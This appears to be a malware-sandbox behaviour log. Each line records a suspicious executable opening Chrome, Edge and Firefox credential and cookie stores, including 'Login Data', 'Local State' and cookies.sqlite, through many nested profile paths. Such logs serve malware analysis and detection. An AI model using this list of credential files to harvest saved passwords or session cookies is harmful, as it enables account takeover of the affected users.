Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
